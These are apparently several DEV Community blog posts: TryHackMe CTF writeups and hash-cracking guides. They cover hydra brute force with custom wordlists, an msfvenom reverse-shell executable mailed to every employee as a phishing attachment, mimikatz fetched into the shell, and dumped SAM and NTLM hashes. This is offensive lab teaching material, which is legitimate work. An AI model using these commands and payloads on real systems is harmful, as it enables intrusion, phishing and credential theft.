DEV Community: Md. Ibrahim Reza Rabbi

Checkmate (TryHackMe) Writeup | Credential Attacks, Custom Wordlists, and SSH Brute Force

Md. Ibrahim Reza Rabbi — Wed, 17 Jun 2026 10:42:07 +0000

Challenge 1:

Marco deployed a firewall at firewall.thm:5001 but kept default credentials.

Used this Command to get the pasword

hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V -t 4 10.48.180.224 -s 5001 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

from page source got the parameters ->

And for an incorrect password it was showing "Invalid credentials"

Challenge 2:

Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.

We CEWL keywords from the site,

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ cewl --lowercase http://10.48.180.224:5002/ > passwords.txt

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ hydra -l marco -P passwords.txt -f -V -t 4 10.48.180.224 -s 5002 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Challenge 3 :

Navigate to social.thm:5003 and derive Marco's password from personal info.

With those info to make a wordlist "CUPP" is the best tool

┌──(kali㉿kali)-[~/Try_Hack_Me/Challenges]
└─$ cupp -i
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Marco
> Surname: Bianchi
> Nickname: marky
> Birthdate (DDMMYYYY): 14021995


> Partners) name: 
> Partners) nickname: 
> Partners) birthdate (DDMMYYYY): 


> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 


> Pet's name: 
> Company name: 


> Do you want to add some key words about the victim? Y/[N]: N
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]:N
> Leet mode? (i.e. leet = 1337) Y/[N]: N

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to marco.txt, counting 2816 words.
[+] Now load your pistolero with marco.txt and shoot! Good luck!

then used this command ->

hydra -l marco -P marco.txt -f -V -t 4 10.48.180.224 -s 5003 http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Challenge 4:

On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.

after log in with that credential we got this interface ->

When we opoened his profile pic noticed the file name is sha-256,

Challenge 5:

Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.

Now notice marco's post and also notice "oliver" hotel name->

But the oliver is not the company keyword what marco was indicating he was indicating "security" keyword under his post ->
so used this 2 commands ->
crunch 13 13 -t Security20%%! -o marco_wordlist.txt
hydra -l marco -P marco_wordlist.txt ssh://10.48.180.224

You Got Mail: Compromising a Windows Mail Server | TryHackMe

Md. Ibrahim Reza Rabbi — Wed, 17 Jun 2026 07:17:24 +0000

In this walkthrough, we'll explore how one email password led to a complete mail server compromise.

NMAP command,
sudo nmap -sS -sV -sC -O -Pn -p- --min-rate 1000 -T4 -oA fullscan <target-ip>

The target is a Windows mail server (BRICK-MAIL) running hMailServer with SMTP, POP3, and IMAP services exposed. It also has SMB (445), RDP (3389), and WinRM (5985) open, making those the main services to investigate next.

When I surf the website https://brownbrick.co/, I noticed this part ->

I listed all the emails and for the password try to gather the keywords from the website with the help of the "cewl" & after that with "hydra" checked the open SMTP server at port 587 to find a legit password of someone ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ cat emails.txt 
> oaurelius@brownbrick.co
> wrohit@brownbrick.co
> lhedvig@brownbrick.co
> tchikondi@brownbrick.co
> pcathrine@brownbrick.co
> fstamatis@brownbrick.co
>                                                                                                                     
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ cewl --lowercase https://brownbrick.co/ > passwords.txt
>                                                                                                                     
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ hydra -L emails.txt -P passwords.txt 10.49.179.117 smtp -s 587 -t 12
> Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
> Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-13 06:28:48
> [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
> [DATA] max 12 tasks per 1 server, overall 12 tasks, 1134 login tries (l:6/p:189), ~95 tries per task
> [DATA] attacking smtp://10.49.179.117:587/
> [587][smtp] host: 10.49.179.117   login: lhedvig@brownbrick.co   password: br***s
> 1 of 1 target successfully completed, 1 valid password found
> Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-13 06:29:27

Now, with this "lhedvig@brownbrick.co" we can send a phishing mail in which we can make the other users to click or execute our attached malicious file [ which we will collect from the "msfvenom" (reverse shell for windows) ] and we notice that "wrohit" user was the victim ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.129.81 LPORT=443 -f exe -o shell.exe
> [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
> [-] No arch selected, selecting arch: x64 from the payload
> No encoder specified, outputting raw payload
> Payload size: 460 bytes
> Final size of exe file: 7680 bytes
> Saved as: shell.exe
>                                                                                                    
> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ for email in $(cat emails.txt); do sendemail -f "lhedvig@brownbrick.co" -t "$email" -u "test" -m "test" -a shell.exe -s 10.49.179.117:25 -xu "lhedvig@brownbrick.co" -xp "bricks"; done
> Jun 13 07:40:38 kali sendemail[5277]: Email was sent successfully!
> Jun 13 07:40:39 kali sendemail[5278]: Email was sent successfully!
> Jun 13 07:40:39 kali sendemail[5279]: Email was sent successfully!
> Jun 13 07:40:40 kali sendemail[5280]: Email was sent successfully!
> Jun 13 07:40:40 kali sendemail[5281]: Email was sent successfully!
> Jun 13 07:40:41 kali sendemail[5282]: Email was sent successfully!

And in the reverse shell listener port we get this ->

> ┌──(kali㉿kali)-[~/Try_Hack_Me]
> └─$ rlwrap nc -lvnp 443
> listening on [any] 443 ...
> connect to [192.168.129.81] from (UNKNOWN) [10.49.179.117] 49946
> Microsoft Windows [Version 10.0.17763.1821]
> (c) 2018 Microsoft Corporation. All rights reserved.
> C:\Mail\Attachments>whoami
> whoami
> brick-mail\wrohit
> C:\Mail\Attachments>dir
> dir
>  Volume in drive C has no label.
>  Volume Serial Number is A8A4-C362
>  Directory of C:\Mail\Attachments
> 06/13/2026  11:40 AM    <DIR>          .
> 06/13/2026  11:40 AM    <DIR>          ..
> 03/17/2024  06:09 PM               258 exec-mail.ps1
> 06/13/2026  11:40 AM             7,680 shell.exe
>                2 File(s)          7,938 bytes
>                2 Dir(s)  13,990,260,736 bytes free
> C:\Mail\Attachments>dir C:\*flag*.txt /s
> dir C:\*flag*.txt /s
>  Volume in drive C has no label.
>  Volume Serial Number is A8A4-C362
>  Directory of C:\Users\wrohit\Desktop
> 03/11/2024  05:15 AM                25 flag.txt
>                1 File(s)             25 bytes
>      Total Files Listed:
>                1 File(s)             25 bytes
>                0 Dir(s)  13,990,260,736 bytes free
> C:\Mail\Attachments>type C:\Users\wrohit\Desktop\flag.txt
> type C:\Users\wrohit\Desktop\flag.txt
> THM{l1v1n_7h3_*****_****}

and we get the flag.

At this point, since we are a member of the Administrators group, we can simply upload Mimikatz to the machine and use it to dump the hashes from the SAM registry as follows:

host a python server ->

┌──(kali㉿kali)-[~/Try_Hack_Me]
└─$ wget https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
--2026-06-13 08:00:57--  https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘mimikatz.exe’

mimikatz.exe                 [  <=>                             ] 220.01K   757KB/s    in 0.3s    

2026-06-13 08:00:59 (757 KB/s) - ‘mimikatz.exe’ saved [225288]


┌──(kali㉿kali)-[~/Try_Hack_Me]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.49.179.117 - - [13/Jun/2026 08:02:12] "GET /mimikatz.exe HTTP/1.1" 200 -

and download that from the reverse shell ->

C:\Mail\Attachments>curl http://192.168.129.81:8000/mimikatz.exe -o mimikatz.exe

then, we searched for the method of dumping Sam database via mimikatz ->

C:\Mail\Attachments>mimikatz.exe
mimikatz.exe
   .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
 mimikatz # privilege::debug
 Privilege '20' OK
 mimikatz # token::elevate
 Token Id  : 0
 User name : 
 SID name  : NT AUTHORITY\SYSTEM
 728 {0;000003e7} 1 D 25319      NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
  -> Impersonated !
  * Process Token : {0;003146ba} 0 D 3995258    BRICK-MAIL\wrohitS-1-5-21-1966530601-3185510712-10604624-1014 (14g,24p) Primary
  * Thread Token  : {0;000003e7} 1 D 4017344    NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
 mimikatz # lsadump::sam
 Domain : BRICK-MAIL
 SysKey : 36c8d26ec0df8b23ce63bcefa6e2d821
 Local SID : S-1-5-21-1966530601-3185510712-10604624
 SAMKey : 6e708461100b4988991ce3b4d8b1784e
 RID  : 000001f4 (500)
 User : Administrator
   Hash NTLM: 2dfe3378335d43f9764e581b856a662a
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 3d527dff081980ff09e87e492cebee23
 * Primary:Kerberos-Newer-Keys *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9484aadacd6c5994aed633bf92b6b3db31c57c932d2cd84a7fa635a0b3262806
       aes128_hmac       (4096) : cdda685dd630dd0796e5ddf38e22dce5
       des_cbc_md5       (4096) : 08340db613fb46b5
    OldCredentials
      aes256_hmac       (4096) : 50141e3b3b449512e393a66c32e7f89a131744eef5d8a3f6a8576919a810cda3
       aes128_hmac       (4096) : 0d717b42dbaf77bb7248b4bebf8bb3a6
       des_cbc_md5       (4096) : bc23a20170542f25
     OlderCredentials
       aes256_hmac       (4096) : 3b191b95e0b1fa83077319699194a79c8adea64e36bade3e959ccbbff42ea095
       aes128_hmac       (4096) : 318ecf3e0f6b969a949092706b519548
       des_cbc_md5       (4096) : 97f7bc3ead1f6ed6
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : EC2AMAZ-QTVAAHMAdministrator
     Credentials
       des_cbc_md5       : 08340db613fb46b5
     OldCredentials
       des_cbc_md5       : bc23a20170542f25
 RID  : 000001f5 (501)
 User : Guest
 RID  : 000001f7 (503)
 User : DefaultAccount
 RID  : 000001f8 (504)
 User : WDAGUtilityAccount
   Hash NTLM: 58f8e0214224aebc2c5f82fb7cb47ca1
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : a1528cd40d99e5dfa9fa0809af998696
 * Primary:Kerberos-Newer-Keys *
     Default Salt : WDAGUtilityAccount
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 3ff137e53cac32e3e3857dc89b725fd62ae4eee729c1c5c077e54e5882d8bd55
       aes128_hmac       (4096) : 15ac5054635c97d02c174ee3aa672227
       des_cbc_md5       (4096) : ce9b2cabd55df4ce
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : WDAGUtilityAccount
     Credentials
       des_cbc_md5       : ce9b2cabd55df4ce
 RID  : 000003f1 (1009)
 User : fstamatis
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 2ac6116566738883775d4c64894922ea
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILfstamatis
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : b677f117b8f87d99bd2bec0dc2763404eb28d34e173722ec4d663d439b121c6d
       aes128_hmac       (4096) : d96cbd8c143e83959cf98b1b37bc5c08
       des_cbc_md5       (4096) : 017acb2f802a70a2
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILfstamatis
     Credentials
       des_cbc_md5       : 017acb2f802a70a2
 RID  : 000003f2 (1010)
 User : lhedvig
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 9a9fe1153250a8c494ac7290b6e86bec
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILlhedvig
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 9cc3c27c2b6a7a6bfdcf4c9790aee0bd3012f337a8c452a0a5321ee6673c663b
       aes128_hmac       (4096) : 9d9bc45f622cf03fe08b86bd9ef45e5a
       des_cbc_md5       (4096) : d96770bce3ba327a
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILlhedvig
     Credentials
       des_cbc_md5       : d96770bce3ba327a
 RID  : 000003f3 (1011)
 User : oaurelius
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : bb03e2de24b406b050d5c4b110de5d94
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILoaurelius
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 4e4d369c51fe79b5fa9cd372a6e2983b3d30ae43f7990701548775d087106532
       aes128_hmac       (4096) : ed9ae473c2213b7994c94e800cdb05ca
       des_cbc_md5       (4096) : 3167266bd54c3191
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILoaurelius
     Credentials
       des_cbc_md5       : 3167266bd54c3191
 RID  : 000003f4 (1012)
 User : pcathrine
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : e52951c39856ffc37c81c2df09ccad3c
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILpcathrine
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : ea10cad59f29a9c8daf61992e574781a095d9e4c6443da8170a7c07c051eda59
       aes128_hmac       (4096) : 93005a1203c24a41c9a05beee9662d13
       des_cbc_md5       (4096) : ae701fec345b3b8c
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILpcathrine
     Credentials
       des_cbc_md5       : ae701fec345b3b8c
 RID  : 000003f5 (1013)
 User : tchikondi
   Hash NTLM: 034c830cc313485a82e57a0d9dfa14e4
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5588ad299d776483b44417c0bd88861a
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILtchikondi
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : eaa49b1593bb2c8240611ead9100002a3c520fcbfd103629da20046e5f093b10
       aes128_hmac       (4096) : ef093a7d07ae03cedfbe3098a7376706
       des_cbc_md5       (4096) : 6bab43253e6b4aa1
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILtchikondi
     Credentials
       des_cbc_md5       : 6bab43253e6b4aa1
 RID  : 000003f6 (1014)
 User : wrohit
   Hash NTLM: 8458995f1d0a4b0c107fb8**********
 Supplemental Credentials:
 * Primary:NTLM-Strong-NTOWF *
     Random Value : 5e0d9f81c0780c189099b7758d79a2e6
 * Primary:Kerberos-Newer-Keys *
     Default Salt : BRICK-MAILwrohit
     Default Iterations : 4096
     Credentials
       aes256_hmac       (4096) : 06cf703200c4fcd6ffaca428e96f18e5063dbb956c58aa7edee5b5acd7817b64
       aes128_hmac       (4096) : 8976fef34b9b36fea80c2d65c764ec5e
       des_cbc_md5       (4096) : 192558b67f7983a4
     OldCredentials
       aes256_hmac       (4096) : 227b60e30b0f1b929da7a0022c56de98121b6b8c151061be8f3923b823b6a85a
       aes128_hmac       (4096) : 82b5027730dd8a73890e09ea65cec047
       des_cbc_md5       (4096) : 13adae677067f7e9
 * Packages *
     NTLM-Strong-NTOWF
 * Primary:Kerberos *
     Default Salt : BRICK-MAILwrohit
     Credentials
       des_cbc_md5       : 192558b67f7983a4
     OldCredentials
       des_cbc_md5       : 13adae677067f7e9

And we get the NTLM hash of "wrohit" ->
User : wrohit Hash NTLM: 8458995f1d0a4b0c107fb8**********

Lastly, we are tasked with finding the password for the hMailServer Administrator Dashboard

C:\Mail\Attachments>dir C:\*hMailServer*  /s
dir C:\*hMailServer*  /s
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Program Files (x86)

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Program Files (x86)\hMailServer\Addons\DataDirectorySynchronizer

10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               1 File(s)        176,128 bytes

 Directory of C:\Program Files (x86)\hMailServer\Bin

10/03/2021  08:12 AM         4,636,672 hMailServer.exe
02/25/2024  11:15 PM               604 hMailServer.INI
10/03/2021  08:12 AM            19,456 hMailServer.Minidump.exe
10/03/2021  08:09 AM           163,976 hMailServer.tlb
10/03/2021  08:12 AM           176,128 Interop.hMailServer.dll
               5 File(s)      4,996,836 bytes

 Directory of C:\Program Files (x86)\hMailServer\Database

06/17/2026  06:45 AM           675,840 hMailServer.sdf
               1 File(s)        675,840 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

 Directory of C:\Users\Administrator\AppData\Local\Halvar Information

01/29/2024  05:42 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Users\Administrator\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\AppIconCache\100

03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Addons_DataDirectorySynchronizer_DataDirectorySynchronizer_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_DBSetup_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_Bin_hMailAdmin_exe
03/28/2024  04:04 AM            37,014 {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}_hMailServer_unins000_exe
               4 File(s)        148,056 bytes

 Directory of C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent

02/25/2024  11:15 PM             1,009 hMailServer.lnk
               1 File(s)          1,009 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs

01/29/2024  05:45 AM    <DIR>          hMailServer
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer

01/29/2024  05:45 AM             1,175 hMailServer Administrator.lnk
01/29/2024  05:45 AM             1,158 hMailServer Database Setup.lnk
               2 File(s)          2,333 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\hMailServer\Installation

01/29/2024  05:45 AM             1,077 Uninstall hMailServer.lnk
               1 File(s)          1,077 bytes

I gave this terminal directory output and ask the AI about the best chance to get that type of info from and the AI said ->

And we got the Administrator's Password ->

Decode that hash in crackstation you will get the password :)

How to Crack the SAM Database in Kali Linux | Windows Password Hash Extraction Guide

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 17:23:10 +0000

In this guide, I will show you an approach to crack the Windows SAM database NTLM hashes. Before cracking, you first need to obtain these three files from the target system: SAM, SYSTEM, and SECURITY. I had a .ova file of a Windows virtual machine, so I will demonstrate how to extract them from that image. First, you need to dump the target system’s image. If it is a VM or virtual disk image, then this method of extracting those three files will be useful for you.

Convert the .ova file into a .rar file and then extract that . And we got this →

I loaded the “Windows-disk001.vmdk” file as an image in Magnet AXIOM. You can also use Autopsy or FTK Imager for this task. When the processing was complete, we went to the →

Directory → “ windows/system32/config “

Exported SAM , SYSTEM & SECURITY file and paste that in kali linux .

┌──(kali㉿kali)-[~/Windows_dump]
└─$ sudo apt install python3-impacket                                     
python3-impacket is already the newest version (0.12.0+gite61ff5d-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 235                                                                                                              
┌──(kali㉿kali)-[~/Windows_dump]
└─$ python3 -m impacket.examples.secretsdump -sam SAM -system SYSTEM LOCAL

┌──(kali㉿kali)-[~/Windows_dump]
└─$ samdump2 SYSTEM SAM > hashes.txt                                                                                                                                  
┌──(kali㉿kali)-[~/Windows_dump]
└─$ cat hashes.txt 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1007:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1008:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                           
┌──(kali㉿kali)-[~/Windows_dump]
└─$ ls
hashes.txt  SAM  SECURITY  SYSTEM

┌──(kali㉿kali)-[~/Windows_dump]
└─$

After that the hash will be cracked if that password is present in the "rockyou.txt" wordlist
If you want more powerful one →

┌──(kali㉿kali)-[~/Windows_dump]
└─$ creddump7 
creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ ls
cachedump.py  framework  lsadump.py  pwdump.py  __pycache__

┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py                                                                                          
usage: pwdump.py <system hive> <SAM hive>

┌──(kali㉿kali)-[/usr/share/creddump7]
└─$ python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::

with “ john jumbo “ ⇒

And, after that the password will be cracked.

Recover Lost Linux Password Using Yescrypt Hash Cracking (Kali & Shadow File Guide)

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 11:45:08 +0000

In Linux systems, user passwords are not stored in plain text. Instead, they are stored as cryptographic hashes inside the /etc/shadow file. Modern distributions use yescrypt ( $y$ ), a memory-hard password hashing algorithm designed to resist brute-force and GPU-based attacks.

Since hashing is a one-way function, passwords cannot be decrypted. Recovery is done through hash cracking, where candidate passwords are hashed and compared against the stored value. Tools such as John the Ripper Jumbo are commonly used for this process.

Because yescrypt is computationally expensive, blind brute-force attacks are inefficient. The most practical approach is a dictionary attack, where prebuilt wordlists (such as rockyou.txt) are used along with mutation rules. In real-world CTFs, success depends heavily on contextual guessing, such as usernames, system themes, or predictable password patterns.

Hash Location in Linux

Password hashes are stored in /etc/shadow with the following structure:

username:hash:lastchg:min:max:warn:inactive:expire:reserved

Example entry:

kali:$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC:19953:0:99999:7:::

Breakdown:

kali → username
$y$j9T$... → password hash (used for cracking only)
- $y$ → yescrypt algorithm
- j9T → cost parameters
- salt → zY1oKFxJlTgP2WcJhzbNl1
- hash → xhkUmB8R9fzETc/...
Remaining fields → password policy metadata

For cracking purposes, only the hash portion is required:

$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC

Now, before cracking, you also need to get that hash from your system :)

